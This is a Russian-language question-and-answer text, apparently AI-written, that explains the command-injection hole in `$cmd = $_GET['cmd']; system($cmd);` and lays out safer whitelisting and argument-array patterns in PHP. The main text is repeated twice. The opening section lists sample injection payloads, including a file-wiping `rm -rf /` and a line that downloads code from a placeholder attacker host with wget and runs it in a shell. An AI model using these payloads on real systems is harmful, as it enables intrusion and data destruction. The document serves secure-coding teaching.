Разберите PHP-фрагмент, уязвимый к выполнению команд: $cmd = $_GET['cmd']; system($cmd); — какие опасности это несёт и какие безопасные архитектурные и кодовые альтернативы следует использовать при необходимости взаимодействия с ОС?
Кратко — что происходит и почему опасно - Фрагмент ` $cmd = $_GET['cmd']; system($cmd); ` передаёт произвольную пользовательскую строку в оболочку. Это классическая уязвимость Command Injection / RCE: атакующий может выполнить любую команду ОС, например чтение/удаление файлов, запуск бэкдоров, раскрытие секретов, эскалацию привилегий, отказ в обслуживании и т.д. - Примеры полезных полезтов: `ls; cat /etc/passwd`, `$(rm -rf /)`, `; wget http://attacker/x -O- | sh`. Последствия — утечка данных, уничтожение данных, выполнение кода под привилегиями веб-сервера (часто uid 000 — если допущены ошибки конфигурации), распространение в сети. Какие угрозы конкретно - Удалённое выполнение команд (RCE). - Доступ к файлам системы (включая конфиги и креды). - Эскалация привилегий (если сервис запущен с большими правами). - Постоянное заражение (установка бэкдора). - Нарушение целостности/доступности сервиса (rm, fork bomb и т. п.). Безопасные архитектурные подходы (предпочтительные) - По возможности вовсе не вызывать shell: решайте задачу средствами PHP (файлы, сеть, база данных, cron и т. п.). - Вынос привилегированных операций в отдельный сервис/демон с чётким API и аутентификацией (например, microservice или очередь задач). Веб‑процесс передаёт только безопасные данные/команды этому сервису. - Запускать внешние команды в изолированной среде (контейнер, chroot, SELinux/AppArmor) и под минимальными привилегиями (не root). - Применять аудит, логирование, лимиты ресурсов и таймауты для операций, которые выполняются в ОС. Кодовые практики и конкретные меры - Никогда не вставляйте пользовательский ввод «как есть» в вызов shell. - Валидировать и ограничивать вход: whitelist разрешённых команд/параметров и строгие регулярные проверки (например, разрешённый набор ключевых имен или чисел). - Если нужно передать аргументы внешней программе — экранируйте аргументы, а не весь набор: - `escapeshellarg($arg)` для отдельных аргументов; учтите, что это не решает проблему, если вы разрешаете произвольный набор команд. - `escapeshellcmd()` помогает, но не всесилен и не заменяет whitelist. - Лучше использовать библиотеки/интерфейсы, которые избегают вызова shell: например Symfony Process (передаёт аргументы как массив, без интерпретации оболочкой). - Ограничьте набор функций PHP на сервере (`disable_functions` в php.ini) если некоторые функции не нужны (например `system`, `exec`, `passthru`, `shell_exec`). - Используйте sudoers для строго определённых команд: разрешите конкретному unprivileged-пользователю запускать конкретный бинарь с фиксированными аргументами через sudo без пароля. Но даже это — только с чётким whitelist и полным путём к бинарнику. - Логируйте все запросы, проверяйте и ограничивайте частоту (rate limiting), вводные длины и набор символов. Примеры безопасных паттернов 1) Полный whitelist команд (рекомендуется): ``` $allowed = [ 'status' => '/usr/bin/mytool --status', 'restart' => '/usr/bin/mytool --restart' ]; $cmd = $_GET['cmd'] ?? ''; if (!isset($allowed[$cmd])) { http_response_code(400); exit('Bad command'); } exec($allowed[$cmd], $out, $rc); ``` 2) Если нужно передавать аргумент — whitelist команды + escapeshellarg для аргумента: ``` $action = $_GET['action'] ?? ''; $arg = $_GET['id'] ?? ''; $allowed_actions = ['show','delete']; if (!in_array($action, $allowed_actions, true) || !preg_match('/^\d+$/', $arg)) { exit('Bad input'); } $bin = '/usr/bin/mytool'; $cmd = $bin . ' ' . escapeshellarg($action) . ' ' . escapeshellarg($arg); exec($cmd, $out, $rc); // rc == 0 — успех ``` Обратите внимание: проверяем формат аргумента `^\d+$` и используем абсолютный путь к бинарю. 3) Ещё лучше — использовать компонент, который передаёт аргументы как массив (Symfony Process пример): ``` use Symfony\Component\Process\Process; $process = new Process(['/usr/bin/mytool', $action, $arg]); $process->setTimeout(30); $process->run(); ``` При передаче массива аргументы не интерпретируются оболочкой, снижается риск инъекции. Краткие практические рекомендации (итог) - Не выполнять `system($_GET['cmd'])` ни при каких условиях. - Используйте whitelist, строгую валидацию и экранирование аргументов. - Предпочитайте PHP‑функции или отдельный проверенный сервис вместо прямых вызовов shell. - Запускайте выполняющий код под ограниченными привилегиями и в изоляции; логируйте и ставьте лимиты. Если нужно — могу привести пример безопасной реализации конкретной задачи (какая именно команда/операция у вас требуется) — с кодом и архитектурой.
- Фрагмент ` $cmd = $_GET['cmd']; system($cmd); ` передаёт произвольную пользовательскую строку в оболочку. Это классическая уязвимость Command Injection / RCE: атакующий может выполнить любую команду ОС, например чтение/удаление файлов, запуск бэкдоров, раскрытие секретов, эскалацию привилегий, отказ в обслуживании и т.д.
- Примеры полезных полезтов: `ls; cat /etc/passwd`, `$(rm -rf /)`, `; wget http://attacker/x -O- | sh`. Последствия — утечка данных, уничтожение данных, выполнение кода под привилегиями веб-сервера (часто uid 000 — если допущены ошибки конфигурации), распространение в сети.
Какие угрозы конкретно
- Удалённое выполнение команд (RCE).
- Доступ к файлам системы (включая конфиги и креды).
- Эскалация привилегий (если сервис запущен с большими правами).
- Постоянное заражение (установка бэкдора).
- Нарушение целостности/доступности сервиса (rm, fork bomb и т. п.).
Безопасные архитектурные подходы (предпочтительные)
- По возможности вовсе не вызывать shell: решайте задачу средствами PHP (файлы, сеть, база данных, cron и т. п.).
- Вынос привилегированных операций в отдельный сервис/демон с чётким API и аутентификацией (например, microservice или очередь задач). Веб‑процесс передаёт только безопасные данные/команды этому сервису.
- Запускать внешние команды в изолированной среде (контейнер, chroot, SELinux/AppArmor) и под минимальными привилегиями (не root).
- Применять аудит, логирование, лимиты ресурсов и таймауты для операций, которые выполняются в ОС.
Кодовые практики и конкретные меры
- Никогда не вставляйте пользовательский ввод «как есть» в вызов shell.
- Валидировать и ограничивать вход: whitelist разрешённых команд/параметров и строгие регулярные проверки (например, разрешённый набор ключевых имен или чисел).
- Если нужно передать аргументы внешней программе — экранируйте аргументы, а не весь набор:
- `escapeshellarg($arg)` для отдельных аргументов; учтите, что это не решает проблему, если вы разрешаете произвольный набор команд.
- `escapeshellcmd()` помогает, но не всесилен и не заменяет whitelist.
- Лучше использовать библиотеки/интерфейсы, которые избегают вызова shell: например Symfony Process (передаёт аргументы как массив, без интерпретации оболочкой).
- Ограничьте набор функций PHP на сервере (`disable_functions` в php.ini) если некоторые функции не нужны (например `system`, `exec`, `passthru`, `shell_exec`).
- Используйте sudoers для строго определённых команд: разрешите конкретному unprivileged-пользователю запускать конкретный бинарь с фиксированными аргументами через sudo без пароля. Но даже это — только с чётким whitelist и полным путём к бинарнику.
- Логируйте все запросы, проверяйте и ограничивайте частоту (rate limiting), вводные длины и набор символов.
Примеры безопасных паттернов
1) Полный whitelist команд (рекомендуется):
```
$allowed = [
'status' => '/usr/bin/mytool --status',
'restart' => '/usr/bin/mytool --restart'
];
$cmd = $_GET['cmd'] ?? '';
if (!isset($allowed[$cmd])) {
http_response_code(400);
exit('Bad command');
}
exec($allowed[$cmd], $out, $rc);
```
2) Если нужно передавать аргумент — whitelist команды + escapeshellarg для аргумента:
```
$action = $_GET['action'] ?? '';
$arg = $_GET['id'] ?? '';
$allowed_actions = ['show','delete'];
if (!in_array($action, $allowed_actions, true) || !preg_match('/^\d+$/', $arg)) {
exit('Bad input');
}
$bin = '/usr/bin/mytool';
$cmd = $bin . ' ' . escapeshellarg($action) . ' ' . escapeshellarg($arg);
exec($cmd, $out, $rc); // rc == 0 — успех
```
Обратите внимание: проверяем формат аргумента `^\d+$` и используем абсолютный путь к бинарю.
3) Ещё лучше — использовать компонент, который передаёт аргументы как массив (Symfony Process пример):
```
use Symfony\Component\Process\Process;
$process = new Process(['/usr/bin/mytool', $action, $arg]);
$process->setTimeout(30);
$process->run();
```
При передаче массива аргументы не интерпретируются оболочкой, снижается риск инъекции.
Краткие практические рекомендации (итог)
- Не выполнять `system($_GET['cmd'])` ни при каких условиях.
- Используйте whitelist, строгую валидацию и экранирование аргументов.
- Предпочитайте PHP‑функции или отдельный проверенный сервис вместо прямых вызовов shell.
- Запускайте выполняющий код под ограниченными привилегиями и в изоляции; логируйте и ставьте лимиты.
Если нужно — могу привести пример безопасной реализации конкретной задачи (какая именно команда/операция у вас требуется) — с кодом и архитектурой.